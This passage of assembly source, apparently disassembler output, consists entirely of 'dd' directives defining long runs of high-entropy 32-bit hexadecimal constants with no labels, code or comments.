		dd 0EBC7F82Dh, 0ADE0067Dh, 71E5F79Eh, 0CE2DBD61h, 0C571A262h
		dd 0E71FF9D5h, 0DD0549A1h, 0A5E7392Dh, 0ED99C879h, 69A9C72Bh
		dd 0EEDE604h, 23752AE0h, 0F7DBBA8Ah, 0FBC74744h, 0BD8F12FCh
		dd 0ADAD97E0h, 4968E718h, 0AC2DE585h, 996DE5D7h, 0E7B12D51h
		dd 0B38D45E1h, 79E7D597h, 6D8DA34Ch, 6560515Dh,	2BBE817Eh
		dd 8441E7E0h, 80B36DFCh, 0FC855963h, 69C72FADh,	2DEFC769h
		dd 6DE8D71Ah, 1807C046h, 0C771E8C7h, 0E785EDF1h, 0D8C541A2h
		dd 26A0F7F7h, 0AD90F769h, 6885F718h, 0D8ADD9C5h, 0CF1B9EE7h
		dd 5F017C97h, 0C104556Dh, 0F1C7E6EDh, 6D9228D8h, 0EB4C316Eh
		dd 752DF705h, 84ECCFE7h, 0E7E92DDAh, 0C187596Bh, 21020F3Eh
		dd 74DA0445h, 61AED7EAh, 9EDB041h, 5B892A1h, 0F7C72DCDh
		dd 0CAC76A8Bh, 0AAC0222Dh, 2DC20451h, 607F13BDh, 89C3C084h
		dd 0C5D4DEB3h, 7141ADEAh, 0E4C4792Dh, 2049C0EDh, 2DD74549h
		dd 5D6D5313h, 0D37FC5C6h, 6F0455F7h, 0F7F86DBDh, 0EAC751E7h
		dd 54E7A5ADh, 0ADEC4684h, 0E4F5A228h, 66B48EA0h, 4494C383h
		dd 0ADF1BEE7h, 0B809692Ah, 630DAE7Fh, 0ADFCC569h, 0E896D7ADh
		dd 93EDDEC4h, 0C54122F7h, 0D7C337CBh, 0D8C64967h, 6FD719F7h
		dd 2D996171h, 0E8DE5587h, 73B6864Fh, 0C64567D7h, 0E707ADF3h
		dd 0D1C741E6h, 0E9A0C6EDh, 0ADEFC575h, 49AAF7B8h, 4DF798E9h
		dd 0C54FCE6Dh, 0E7D94FD3h, 0BA4FD30Eh, 34B1AC53h, 0AD7BEEB4h
		dd 0CC17F783h, 53095CEh, 0B76529D7h, 0C707F4BCh, 0C2866969h
		dd 6AA1EF2Dh, 0ED8C2D51h, 7925E7B0h, 0E886B362h, 6951EDD7h
		dd 0F716ED86h, 0F506F4C5h, 0FDF75E3Eh, 0EDEEC5D4h, 0E81D5163h
		dd 0D8AD906Ah, 467DE8D7h, 637647D3h, 0F5864922h, 61F7F332h
		dd 0F7E74588h, 556DD023h, 0FA2D9DF9h, 0B375A5D7h, 0D7E06DACh
		dd 81DC51EDh, 61A1E4EDh, 2DCCC769h, 51E921A4h, 872DCD04h
		dd 85477F5Fh, 0D726FED6h, 0EFC445AEh, 5AA189EDh, 0F6F285E4h
		dd 61EDF79Bh, 0C5EDE546h, 0C4102FF7h, 0D7F776E7h, 0AD4A804Fh
		dd 0A6D765ADh, 2DE4C5A4h, 61E4E7DDh, 1A2DC2C7h,	0E17122D7h
		dd 0D71E6DA4h, 0FA05592Ah, 0E5F71AB9h, 36A92051h, 64C57E8Eh
		dd 0D632E884h, 854D6BE0h, 0F72696E7h, 0FD0751ADh, 0AAE7BAC0h
		dd 6DCE4749h, 0A5C70Fh,	446DD446h, 4645A1FCh, 0C712F6DAh
		dd 93E0DC2Ah, 9C7E7ADh,	79F84423h, 61E461DFh, 34EDA441h
		dd 0F6796DD7h, 0F776F9ACh, 0D80680FAh, 6F767ADh, 0BF2DF7C0h
		dd 5522D7DBh, 14EDCE05h, 0F5516DD7h, 0EE0D79BDh, 959751EFh
		dd 16D730B9h, 61F8C6CCh, 5164E28Ch, 0E6719197h,	57E842E7h
		dd 0EE8F6D55h, 8E3441E7h, 66D7842Dh, 71C5055Dh,	6122E7E6h
		dd 0C521E545h, 67921F7h, 0FE0D6DE5h, 7B366D2Dh,	0E5D7E0ADh
		dd 0ADFC855Dh, 596071AAh, 6CEDB32Dh, 4471EDA2h,	0D73A2DD2h
		dd 0FAC5ABEFh, 23D7DF2Dh, 0B4B59751h, 0DF4C61AAh, 7837EAC4h
		dd 8669E4E7h, 0A1852DC6h, 0FC067965h, 69F7232Dh, 0F4A0D469h
		dd 4165D7C5h, 0B2EDEE86h, 0C769AAE7h, 0F7F52DDBh, 0CAC551A2h
		dd 0A0F7073Eh, 6DEC0645h, 41A5E7B3h, 0D6EDF4C7h, 45A4B370h
		dd 331E33E2h, 0EC85416Dh, 2660DC4Fh, 0B49B626Dh, 877D5156h
		dd 8F6DF346h, 0F37125EEh, 0A4C72D95h, 0F0C7A7FCh, 0A4AF0F58h
		dd 2D195E5Dh, 65E061AAh, 0E330E784h, 46D4F9A3h,	0D7D939F0h
		dd 0E084FC16h, 3933F6FCh, 0BEE74737h, 0F44B62D3h, 562DCD45h
		dd 55149CF7h, 940A6012h, 0BCD299B9h, 399411EDh,	20FA0410h
		dd 4DECB01Ch, 0F274CB72h, 23237EE7h, 23204898h,	0D0C751E4h
		dd 1C7D1ADh, 0ADA03ECCh, 0B416D7C9h, 0EF82E707h, 614569A1h
		dd 0A1EF6D99h, 8161456Fh, 2FA1EF6Dh, 2DA16145h,	7D6EA1EFh
		dd 472DA520h, 0C76525D7h, 0E7ED2DDCh, 0AC5C49A2h, 3A13AEDh
		dd 0F7DEC58Ch, 712570FEh, 34EDE604h, 46796BD7h,	0D7226DEFh
		dd 0AEED7DA1h, 0ADD726EDh, 0EDE70469h, 71A7A2D0h, 0BCEDD5C7h
		dd 0C7E434D7h, 0E7A92DDEh, 0F3C55522h, 22D7AB73h, 0B6C6C579h
		dd 5564C79Fh, 0A2ED9FDFh, 54DAFE7h, 0AA34C7h, 0CCC57163h
		dd 0DE7752Dh, 6DDBC518h
		dd 496B610Eh, 6DADD145h, 0C44561E7h, 0F761ADD1h, 0E7C5A84Eh
		dd 1D74DF4h, 0ADAA609Fh, 616FD79Fh, 37F9A30Ch, 0F471EE60h
		dd 0F70D2D4Eh, 0A3BEC0D4h, 6CC71FF9h, 7BB30D51h, 4D2262B0h
		dd 7A73B93Ch, 7F79AFD7h, 0E79F74D1h, 0B30C61EAh, 0A6700B73h
		dd 0ED88BF7Dh, 7DE6E7F8h, 65ED95BFh, 0C86D63A1h, 0D73573B3h
		dd 0F2C75D25h, 0A13EA4ADh, 0EDF7045Dh, 5DE35040h, 0A4ADACB9h
		dd 0C559A33Eh, 0F7F56DEAh, 0CCC5BFC8h, 0C2F7482Dh, 0EDAEA948h
		dd 712FC79Fh, 0A7737DD9h, 0B91C4CD7h, 1375ADADh, 0AEE1AE8Fh
		dd 942EE3ADh, 0ADC5C7B0h, 400673B9h, 76B4C946h,	3B2E9B81h
		dd 0F7D7B49Eh, 0EE046964h, 0C0D71AEDh, 2DCEC7A4h, 5D6DE7E9h
		dd 44ADE385h, 0C6B49DA1h, 0C7267BE6h, 0DAC669AEh, 0E2D742F6h
		dd 0AD50C869h, 3E8FD713h, 0B12DCCC4h, 0D50D1C7h, 92CABA9Bh
		dd 0C104B380h, 0A5C71FEDh, 0ADE80659h, 34D40C81h, 1F2DD004h
		dd 185DA4F7h, 3484F47Fh, 759BB2D9h, 283A03ADh, 0F4A7D945h
		dd 2C153CF0h, 75ED9AE1h, 85696B33h, 1C803DDAh, 0EB478441h
		dd 0A7E7DF83h, 3320BB49h, 60F4E7CEh, 0F26DBCD9h, 29888C9Ch
		dd 0F7D5FFA5h, 91B51A11h, 2F812363h, 739B8165h,	656C8123h
		dd 8403A781h, 8198A0C7h, 0E79FEDADh, 0A981656Ch, 52E7CCF4h
		dd 1AE1C52Bh, 0AB8CC7DBh, 36AD611Eh, 381C81F7h,	81136D99h
		dd 0DDC7C05Eh, 0E0A123EDh, 0ED7DBE61h, 6966F7F3h, 0C5B0AABCh
		dd 0C5F055E7h, 0C725ADD9h, 0C2C4712Ah, 1DD7762Dh, 42969C2Ch
		dd 71ADC726h, 9FFCEA84h, 6171A9F7h, 0D766AD19h,	0CFC5834Ch
		dd 60E7A7ADh, 6D9EFE5Dh, 37D3C79Ah, 0E36DE904h,	47CC8111h
		dd 0E7EDB4DAh, 0C30475E5h, 7799EAEDh, 0F48AEAD4h, 45E4E7F8h
		dd 6CAD90E0h, 0C451EDD7h, 0C71A6DD1h, 0F4C57963h, 0B9F78671h
		dd 6D60625Ch, 61658D19h, 67F7A3E2h, 4C4F0D7h, 0E79F3CE0h
		dd 0A400D7D0h, 0A3F79FB1h, 9C05ED51h, 55AAC729h, 17F499FAh
		dd 7FCC8C7h, 0F7F86DE8h, 0E48665E1h, 0E0E75A6Dh, 0F4F58575h
		dd 6DE4D73Ah, 0B92DD3BBh, 460A5BC7h, 0F74AEDE0h, 990D71E0h
		dd 75E7CEB4h, 6DAF3B58h, 6006E724h, 502D8DF2h, 465AC1D7h
		dd 529636DDh, 0A80698DDh, 0FFE7D7ADh, 6DE5C45Ch, 0F4B8F76Ah
		dd 0F600EC06h, 0EF656921h, 71F52DB5h, 0F5C541E8h, 2FA105F4h
		dd 2DEC0569h, 496673DFh, 65AD9862h, 8645AAD7h, 0A18DEDE6h
		dd 0DB47F44Ch, 646102B3h, 7299AF45h, 7167D725h,	0AAEDF9C4h
		dd 455F86E7h, 0D7C9EDD8h, 9926596Bh, 0A2B027ADh, 39F08575h
		dd 94387145h, 0B07FEBC5h, 0EA792BE7h, 0C7B8368Bh, 93E369EAh
		dd 6B53802Dh, 0F4E94559h, 75A5E7CBh, 0CBB95D60h, 79F20F7h
		dd 16FC4C0h, 83DF5408h,	8C726B4h, 2D774D64h, 0F8872139h
		dd 27B8B66Eh, 849841F7h, 0C7B96DECh, 0E7848021h, 6DF77CEDh
		dd 0EDEFC461h, 4D6EA105h, 5DEDB4A9h, 71E05292h,	8C1F6DA5h
		dd 0F14461ACh, 0D6F79F73h, 0ADC7C44Ch, 41A23169h, 0AB6D9509h
		dd 44696523h, 0F7EFF6D7h, 0E0077091h, 91F7FDBEh, 0ADC1854Ch
		dd 71E50169h, 0B42DB788h, 744DE13h, 0F7E1EDE9h,	0DE4568F4h
		dd 0C6C11AADh, 0EDE4440Eh, 7DA041ECh, 0DF3EBB92h, 864D62F7h
		dd 0D71779CFh, 0E6058BBCh, 0ADF7872Dh, 0B1C70645h, 49ADA124h
		dd 65C4FB06h, 46C752E7h, 2D85ADFFh, 80A1CB5Dh, 683E12Dh
		dd 0EDCEC514h, 59ADF7DBh, 3BADDB06h, 0C5656ED7h, 0F731BEC0h
		dd 0D9C7712Dh, 0A003062Dh, 0EDA0EC65h, 0C42AD7BDh, 381E044h
		dd 0CE4D241Dh, 0E7E077B0h, 0EA06F41Dh, 6AD72B7Eh, 2DE6C749h
		dd 796D5103h, 0A37E6C6h, 0AB50CD1Fh, 0F7CAADACh, 0AEED6FDFh
		dd 0DEC7E770h, 2DFF04DBh, 5D64E71Fh, 456DBF36h,	0C5716623h
		dd 0E727ADD0h, 0EE87516Bh, 0E5E714F9h, 84E8C551h, 0F02AD756h
		dd 306F807h, 0C549692Dh, 90F4F4F5h, 0D8C4456Bh,	63C774ADh
		dd 70ABCA59h, 416E13C2h, 63D1C086h, 574DEAF7h, 0E7A07766h
		dd 0D78761E5h, 0EAE707F6h, 2DFB0679h, 0DCAAC723h, 2BADEB86h
		dd 471EAD7h, 0D7DFEDFFh, 0F7B57121h, 65D7B6F4h,	0B1ABB624h
		dd 6DECE7D3h, 26DAC29h,	7F01950h, 0D0346EBh, 0B01559E2h
		dd 0A9C7077Fh, 2DCE8459h, 75E9115Ch, 3AED3969h,	84227BD7h
		dd 8305ADF4h, 9E6C49A0h, 0FDD7DBBEh, 0ADF285E4h, 796B6CEBh
		dd 452DD547h, 6A652913h, 71F72DA2h, 0CE464525h,	0A4C7832Dh
		dd 0B483CF93h, 50C9E7AFh, 0CEF6C0C7h, 645A230h,	0C7DAB9E8h
		dd 88F624A2h, 0A4D7B879h, 0F43D3469h, 6525F7F8h, 142DA8ECh
		dd 6A7960F2h, 0D7106DAEh, 0EB85596Bh, 6AE79571h, 0EDA13049h
		dd 65AD20FFh, 5C6DA628h, 0C75124D7h, 0F758EDE9h, 0EDC4752Dh
		dd 0EDE7E46Dh, 2DD84565h, 0B02F9105h, 852DD984h, 85263BB0h
		dd 711CADF6h, 0ED855166h, 0D2E7F32Dh, 0AD90A4FCh, 4563E7BEh
		dd 696DCCC4h, 46B42101h, 0F0B9B9D3h, 0B6A1C8DBh, 6D93E16Dh
		dd 2DC50571h, 5563E278h, 30F8DC05h, 867D2AD7h, 0D70DF4FDh
		dd 0D904B737h, 27E7FFADh, 0AD0DB075h, 0ABB0E7E3h, 0E92DE947h
		dd 0C7A870A2h, 0C7F2EDD8h, 0A72865A0h, 0E8E70DEDh, 0AD901165h
		dd 5563E762h, 0B06DCD06h, 0B05D68A4h, 0E7FFED68h, 6F345ABh
		dd 0F6E7D06Dh, 40C54720h, 5926E2D9h, 0D92DF506h, 0B67124F2h
		dd 0B0D7AD4Fh, 0D3066521h, 21F7A570h, 3955B320h, 5DAAC764h
		dd 0B8EDA477h, 304564F7h, 0A23BAD8Dh, 0D0046DA5h, 0E4C7B6B3h
		dd 31F54565h, 556B1124h, 0E430BFF9h, 47A02AD7h,	0C2D980D7h
		dd 0AE7351A4h, 0ADF7D36Dh, 0ADD18649h, 65EFF766h, 0A43955F3h
		dd 326DE0D7h, 0D7E17761h, 0B0FDAAA6h, 0F7AC2EEDh, 0F6CB8488h
		dd 75A1A1E7h, 47EDE145h, 457521E7h, 0E7C4EDE9h,	0E745616Dh
		dd 0ED9C456Dh, 0EDC10455h, 0E4B8F7E7h, 0A66DEE85h, 569EBE7h
		dd 0E708BAF9h, 0C6C461A5h, 656022EDh, 0F6A2B761h, 61A2B1E3h
		dd 9F2DE6C5h, 6161E952h, 0E7F8F990h, 0E5468487h, 8CF31A2Dh
		dd 0B6DDC668h, 0F48762B0h, 0A03279BCh, 9461AEE7h, 40F43995h
		dd 0BBF75DAAh, 4364FDADh, 0A3D5C736h, 0B4C664FBh, 0CBBB896Dh
		dd 1C85C2E7h, 81B1345Bh, 0F3444C9Ah, 0E8C7DFEDh, 0F18ACF51h
		dd 45E5D77Fh, 1A6DA837h, 776129E1h, 61D1AD76h, 0DBC72B6Fh
		dd 0A051A8ADh, 6DB8A149h, 75228DB6h, 0A734F045h, 649EDD7h
		dd 814FADDAh, 5A6D612Dh, 0EDF7342Dh, 0FCAAAB75h, 4524D739h
		dd 7AED8D20h, 847925F7h, 0D7DFB6D7h, 0C48745E6h, 65F71F4Eh
		dd 0ADE3C749h, 75AE81B7h, 2DADFDC5h, 1665A9D7h,	0C707AD94h
		dd 0C6C445A0h, 65A02536h, 2DADE145h, 4DA1E758h,	0C5EDE4C4h
		dd 0C559A2E7h, 0F7C776FDh, 0EDC545A1h, 65F7B26Dh, 0ADE0C67Dh
		dd 45E5E767h, 0E9F2EF84h, 39696520h, 111C77A8h,	0E104BCB0h
		dd 0C9F290EDh, 3FE684A0h, 49E0E7E7h, 0F4FCAAEAh, 4645A420h
		dd 0F78F2DD0h, 0D545E7DFh, 0E9E7EC39h, 0EDE304B0h, 0C812B1E7h
		dd 0E7EDF946h, 65121B1h, 0F747F6E2h, 0EE0655A3h, 0AE795EDh
		dd 0ADA47EFCh, 8888E7FAh, 86ADFF06h, 4565E1D7h,	0E241ADDBh
		dd 0C5460744h, 0E1EC7EEDh, 0EDDE4475h, 75A1E7A4h, 0A4B8FA05h
		dd 87556BE7h, 62F039E2h, 0BCEC65A5h, 27D31AEDh,	376877A4h
		dd 556140E8h, 5803E8C5h, 84BB6FB0h, 0F77A6DE8h,	0E3C67DE5h
		dd 9BD7E9EDh, 0EDFA04DCh, 0B856D787h, 0A16DAF6Eh, 866DADE7h
		dd 81EA30EDh, 0C2C461E8h, 0E6E77FB4h, 6DED844Dh, 75E1E7E1h
		dd 0B8EDAD2Ch, 1B7D6BF7h, 0E7543093h, 0F704D4F4h, 66F7C5EDh
		dd 0ADD90571h, 0ECB3D7A6h
		dd 0F7ED953Ah, 2545EDE7h, 0C718AD91h, 9B61792Ah, 0A2F7A9EDh
		dd 2DDAC571h, 0ACBBC775h, 0DFADF285h, 8441A6D7h, 0E7F534E3h
		dd 8D3769E0h, 0A0F77A2Dh, 0FB7DD445h, 13EFE7B2h, 0D5B380EEh
		dd 0C749A3C7h, 0C764ADE7h, 0DA84F8D2h, 0A5D71A6Dh, 0B4194E55h
		dd 456DD7DAh, 9F2DE4C6h, 4571A5E7h, 0D72D06E9h,	0A8636929h
		dd 6D912671h, 0F3DE856Dh, 65A7F793h, 18318A8Bh,	549E490h
		dd 311A2DFAh, 0E507412Dh, 0CBD7EAEDh, 0F4DF4544h, 616B531Fh
		dd 4737C245h, 856DA231h, 0F711EDDEh, 0F5C55DA2h, 60213B77h
		dd 6DECC575h, 0C454C7E3h, 0B6B3E784h, 0C5E073D7h, 91BCCBh
		dd 0ECC6CCB1h, 0E9F7A0B4h, 0EDEE4665h, 0B067D727h, 957CA169h
		dd 0C549EBC7h, 0F7566DE0h, 0ECC4456Dh, 0A2F7E174h, 0EDADF165h
		dd 45E0E707h, 912DBCA0h, 384DEBC7h, 0D727EDBAh,	0ECC569E8h
		dd 0A9D7852Dh, 0F498A179h, 41A8C784h, 8774DFC7h, 47565E7h
		dd 21A62DC4h, 0EAC54925h, 61A1C62Dh, 0CBFDC545h, 5127AEECh
		dd 70BE5948h, 22B711C1h, 71F52D95h, 517B9CE8h, 0E0E7D034h
		dd 0AD8F3571h, 0C4BBD7A1h, 0D9AD9033h, 6556DD7h, 0C78C6DC0h
		dd 0CD4771A3h, 0C6F75E2Dh, 0F3ACEF98h, 0FC58010Eh, 4AF2C5C4h
		dd 0E25DA1F7h, 0E70AB28Ch, 0A36DEC85h, 68E7B4B2h, 2D8DA14Dh
		dd 5920F7D8h, 32748354h, 45D6D32h, 0D7DF79E8h, 0F2044D23h
		dd 5CACEDF4h, 0EDF346C4h, 0A0DE733Dh, 152D9321h, 475E5F7h
		dd 0E7E132C4h, 0A1AC4960h, 0ED5172EDh, 0EDEDC645h, 0F8F85133h
		dd 33EDA14Ch, 6C7DE461h, 6133ED67h, 646C7DE7h, 0E54133EDh
		dd 0F9BFFD61h, 49A071A3h, 8F2DB6A0h, 215969C0h,	0C72D3FAFh
		dd 0A5214129h, 36F725EDh, 0B6F207D0h, 61A2A1AAh, 9B6DE445h
		dd 4FB4B8F7h, 73CFEDB1h, 9E604044h, 0E9D756EDh,	2DE2C588h
		dd 71651067h, 42DCEC6h,	4568D573h, 0D7F82DF2h, 0F0054965h
		dd 4DE0EB2Dh, 7A7EE7Ch,	79AA434Dh, 0B2FCC1C6h, 6F4B8DC7h
		dd 71B88FBDh, 0CEC465E5h, 0CD553DA7h, 0EDB54CFBh, 0E4436F33h
		dd 152DD245h, 0CFF4DF7h, 0C7176D6Eh, 46AF516Eh,	0A0C757EDh
		dd 47862159h, 7C4FE72Dh, 0CB3095CEh, 0C64C4951h, 0E721ADD0h
		dd 8E8FFC4Dh, 4473D12Dh, 7F4EEE6Ch, 61ED3162h, 42F4D846h
		dd 0C555A261h, 63947FCDh, 0E3C58853h, 65D0812Dh, 0C6F6C66Dh
		dd 7D20410Fh, 0AF7E5FEFh, 8749E09Fh, 0C7BA2DFCh, 8DA3C0B1h
		dd 2AC7162Dh, 2DBD2DC8h, 65AAD24Ch, 7EDC686h, 45696523h
		dd 0E727B4F1h, 0EE464568h, 0F0935AADh, 0ADC88640h, 61E991B0h
		dd 0F56DAE42h, 6783042h, 72033ECAh, 297B9026h, 0D9F7D62Dh
		dd 1E64EAE0h, 0D074936Fh, 2237AAFEh, 7656561h, 0C71AF7DEh
		dd 97366165h, 0A5C747EDh, 2DE3C769h, 796DC7A5h,	146DE645h
		dd 545E5F7h, 0C7F82DE1h, 0E445552Bh, 64C7EAADh,	2DEC854Dh
		dd 65EBF7C5h, 95EDE745h, 0C7BC06F7h, 5592DC5h, 0C505475Ah
		dd 29C7F82Dh, 2DE5854Dh, 0DCF3E7E2h, 332DE507h,	0B7D820C7h
		dd 0C7DFAD36h, 0DF877D2Dh, 5CE7F3FFh, 4AFE8590h, 4D6BE724h
		dd 0D3C1C0C5h, 449EDD7h, 0D7B833F2h, 0DFD4925h,	3AC7842Dh
		dd 0AA77263h, 51256122h, 0F1EDA3BDh, 4484E7C7h,	2D422DDEh
		dd 0A2B4792Ah, 0A1C073EDh, 0ADFF4645h, 78F7C272h, 0DA74A1E0h
		dd 1665A1D7h, 0F72BEDA1h, 0F20475E9h, 67D7322Dh, 4C5C661h
		dd 65A0E707h, 0B077B47Dh, 25ACF462h, 12B2DA5h, 0AB3449E2h
		dd 0E5D7392Dh, 79A2DC55h, 4D6DF7E1h, 0C6BBDEC5h, 7D18E0C2h
		dd 50BDEDB5h, 0D30659A6h, 69D7DFEDh, 0B91DBC4Dh, 652DF720h
		dd 0A5F7A32Dh, 46C42AD7h, 0C48B6DD2h, 0C606D800h, 2ADC15F7h
		dd 0EDE10479h, 412CD297h, 5819F037h, 0C5842881h, 0F70439ECh
		dd 8F61B26Eh, 19E24746h, 0EDE6C69Ch, 84E0D758h,	0B7EDE104h
		dd 5A4D8A1h, 0D7E86DE8h, 0D4C54926h, 38F7072Dh,	2DF2C7C8h
		dd 596BC795h, 9D2DF485h, 0C64D65D7h, 0E787ADFAh, 0B8E341E2h
		dd 7EB8E434h, 749423C4h, 416DD170h, 596DEE06h, 4641E8F7h
		dd 0C75C2DE4h, 5263D8F9h, 0ABD79574h, 2D8C717Dh, 4DE8B193h
		dd 0ABF0CE46h, 77FCF880h, 0C7E00C81h, 0B5DE537Bh, 0E8C729EDh
		dd 7EA94259h, 7DE9C72Bh, 0B42DA2A4h, 0C45D2BE7h, 9340ADE5h
		dd 0F6C741E4h, 0E09187ADh, 0ADD3C545h, 0DCF0D736h, 862D96ADh
		dd 66522F7h, 0C731F7F6h, 0DB44C484h, 0E3C06D3Ch, 49D025Dh
		dd 796AC06Dh, 71F187CBh, 0C3743AC7h, 7012F780h,	0DC0675A3h
		dd 3BC7DB78h, 50C10664h, 6C9DD793h, 84F1B161h, 23B45BA1h
		dd 0B0F96D93h, 90F34166h, 6DD72EADh, 74DD0449h,	61A5E737h
		dd 0D9B0D8C7h, 0C74879C7h, 0E7952DE4h, 9DAD5D6Bh, 0E5D7072Dh
		dd 2DD5C749h, 652BC795h, 9D2DE485h, 0B151E4E7h,	0D7E17485h
		dd 0EC064D66h, 7DF7396Dh, 0B1DBC5E8h, 98FBC787h, 1FBCAB21h
		dd 756D25C7h, 13042D8Ch, 7CE200BBh, 0E2D784ADh,	2D88A269h
		dd 9432B129h, 0C6F4800Dh, 0C54DE191h, 81A2ADFEh, 87A179A2h
		dd 0B3D7EF1Ch, 3CCAC595h, 41E691A9h, 37F4D6C6h,	0F45965C7h
		dd 0C7DCB476h, 91A028F9h, 6AA1312Dh, 0ADA32169h, 0C36D767h
		dd 0AC84D107h, 645E611h, 0F755EDC6h, 0E84679EDh, 26F77C84h
		dd 6DA82075h, 41E5F7E0h, 0ECADF0C7h, 745ED51h, 0E77C3FE3h
		dd 0AE20F44Fh, 0DC78E73h, 2DD8060Fh, 7925D70Ah,	836DC7C7h
		dd 5592E58h, 91A931FAh,	0C3054D6Bh, 0C2E0FBADh,	0AD9AA1B8h
		dd 6D64E7B8h, 84F49492h, 0B25DA0C7h, 0E7ABEDB5h, 0EE04F0C6h
		dd 0A5C7ABEDh, 0EDE20471h, 7D23D79Fh, 2BFC94CEh, 47169E7h
		dd 0B251EDFBh, 0B39251ADh, 0E1D7ABEDh, 0EDB4FE45h, 4DE5D7ABh
		dd 2EFF872Fh, 46C04773h, 5354ADCEh, 0D146C4F0h,	2B62BC34h
		dd 0EDA93055h, 74F1E7A4h, 252D8DE3h, 0C769E9E7h, 0C7E5B1F0h
		dd 0E6C44122h, 0F0D754EDh, 7EE986D4h, 7D61D786h, 0DDADA8E3h
		dd 0CBC8F0D7h, 0A1502D85h, 0ACA04928h, 0E5A133EDh, 6DCAC559h
		dd 0FCB8C795h, 0DA2DA462h, 69811E7h, 0E7DFEDD4h, 0DF0651A1h
		dd 47D76461h, 34EF443Ch, 0AC94D705h, 0BE6DE6C5h, 0C56DEBE7h
		dd 0F7D330F0h, 0F5C645A2h, 90D7DEB2h, 30B03E8Ch, 9B15C7E6h
		dd 1C6DF904h, 0C56D65A0h, 423A2DE5h, 9BAD8015h,	0AAC7ACADh
		dd 2DDEC471h, 844EC7C5h, 0F5AD5902h, 0E2001332h, 0D7B38A51h
		dd 0D1466D22h, 66F73A8Ah, 82D0FB4Dh, 7567D7BAh,	0D32D92C3h
		dd 86C470D7h, 1051EDE4h, 0F806A452h, 0ABA051BFh, 0AD4C0245h
		dd 416112F5h, 5FADD084h, 46B415C7h, 0E7E477C0h,	0DEC451EDh
		dd 0FC508172h, 0AD92E184h, 0E4BDE726h, 54BCFB06h, 0E1452671h
		dd 0C7A8BE85h, 0E506AC15h, 7EC7EEB1h, 70DC06ACh, 65AAC7BAh
		dd 4BEDB8F4h, 9F65AA80h, 0D75BAD98h, 0B7FEC0B4h, 32E77C38h
		dd 0B4E7068Ch, 0A01170A0h, 0DB2D8EA1h, 67DA1F0h, 24A2DCEh
		dd 0A4C375EAh, 64D73943h, 0ADA82169h, 0E83DE759h, 0BCADA8E3h
		dd 0A9512140h, 0E7DBADA8h, 0A268E876h, 4391692Dh, 0F4C84688h
		dd 4928D718h, 7C35DA85h, 1CC84FD7h, 0D1C5B48Ah,	8FA169A9h
		dd 0A7C705F4h, 0AD9BA379h, 0BB0791CBh, 0F8ADA93Dh, 469546D7h
		dd 983CEDF5h, 0DB05656Eh, 0C0917BEDh, 2DCEC7A8h, 7966F7FDh
		dd 0F83C8AA2h, 45120F7h, 0E718EDEEh, 0F5078801h, 72C72A6Dh
		dd 7451C3F4h, 0EC3502B7h, 0F87CA2A2h, 115DE1E7h, 0F79576A8h
		dd 856CB8A0h, 0EDD7242Dh, 0ADF1C669h, 51A7C2FAh, 0F5EDE1C7h
		dd 0E09C74C7h, 0D76A6DA4h, 0E804ECF4h, 0AFBC01F7h, 2D97B271h
		dd 0B4EE4366h, 0F5ADBBD4h
		dd 0E3ECC532h, 0E7B87CA2h, 816079A9h, 0A981BFBCh, 84C80469h
		dd 6169AEE8h, 0A42DDCC6h, 85D8BEF7h, 0E78673E0h, 0DFC775E3h
		dd 0E9E0C1B4h, 36DEC749h, 79E5C79Dh, 0E7ADA1B4h, 9DA46DC7h
		dd 6363ED40h, 0E80541E5h, 6D916779h, 6DE8856Dh,	7565C7F6h
		dd 3AED84BAh, 85696BD7h, 0C00E6DE4h, 84D3E48Ch,	657BEF33h
		dd 72D4C765h, 71E9E723h, 0D5EDE545h, 0B9F475E7h, 0F7DF7183h
		dd 0EDC75D20h, 0A481B3F4h, 0B78D8075h, 10B5E71Ah, 0EB6DF1C5h
		dd 0C7C872C7h, 0F7302DE7h, 91715166h, 2DF7A6ADh, 0ADEC0555h
		dd 49E9E705h, 4BED99E2h, 0C67966D7h, 0C75EADD7h, 0EFC4C045h
		dd 7ED747F7h, 0ADD684D8h, 0EF03E7A4h, 1537CEC5h, 456563C7h
		dd 0F7C3ADCDh, 0E5C46D6Fh, 27D7DFEDh, 74A7026Dh, 71AB2022h
		dd 8CADAD41h, 4F716341h, 0E705ADA3h, 0A46C5D6Bh, 45418EADh
		dd 47C80594h, 0FC0FF76Fh, 0E3ADD1C5h, 0C5C48FC7h, 0E79FBFFBh
		dd 9B096D66h, 60F7CF6Dh, 0ED984C79h, 716B5D96h,	0CC6DDBC4h
		dd 0AE4F09C7h, 0C7EB2D4Eh, 0EB47552Eh, 6B5D1C0Fh, 2DCD4549h
		dd 45ECE74Ah, 0B26D6CEBh, 0A4A854E7h, 0D7DFB9B5h, 55336160h
		dd 0F3115C2Dh, 74E705DCh, 5DA4F71Fh, 566DC507h,	0A1E7946Fh
		dd 63972D81h, 0AC2EC843h, 0EBE7BA6Dh, 32C3C769h, 5DADE726h
		dd 2BBCF1C6h, 0FE516AF7h, 0E725AD8Fh, 0CE05656Bh, 0BDD71AF6h
		dd 0ADD146F4h, 45E0F7A7h, 6BEDDC46h, 0AF58FB42h, 6115B891h
		dd 0AF7D796Ah, 651131EDh, 0B6B62861h, 516450D7h, 0C7ADBD2Eh
		dd 0C741A860h, 0D7F3ADEEh, 0DC0470D0h, 20619AEDh, 2DB56871h
		dd 55E1D714h, 336DE984h, 4578136Dh, 0C7C76DC4h,	70796C83h
		dd 83C7C6EDh, 46E605F3h, 45A8C725h, 26AD9830h, 0B7D8C5D7h
		dd 0F7F0AD96h, 0F3C4556Dh, 0E1E7E76Dh, 2DFB4649h, 71ED9129h
		dd 0DF2D9A60h, 0AC4964E7h, 11BE367Fh, 0D6065924h, 63C7F2ADh
		dd 2DB2A155h, 4164C0F6h, 1BF282AAh, 0E8E3FB51h,	11F4EDA2h
		dd 0BC4055AAh, 78F715ADh, 0A6B50B58h, 988B05F3h, 0CDA68261h
		dd 3D75E8A3h, 6146ADB9h, 0D4065D6Bh, 0F2A1E7ADh, 8CD205E6h
		dd 55E4AE79h, 36EDB950h, 75D69E0h, 0F78583D4h, 46AD41EBh
		dd 0CEC754EDh, 0ADF2C680h, 0D414D754h, 9CF1D6C6h, 463CA6C7h
		dd 0C71CF9D3h, 0D34604A6h, 0A6C79FF9h, 0F9D3460Ch, 14A6C71Fh
		dd 9EF9D346h, 461CA6C7h, 0D0292DDEh, 0F505592Bh, 0D7F7D0F4h
		dd 0B2ED8667h, 6DE1D754h, 1FEDC8C5h, 545DA5E7h,	0C02EED85h
		dd 82EA75E8h, 0ADF7A634h, 0EDACE141h, 0DC9EF7ABh, 0F02D9669h
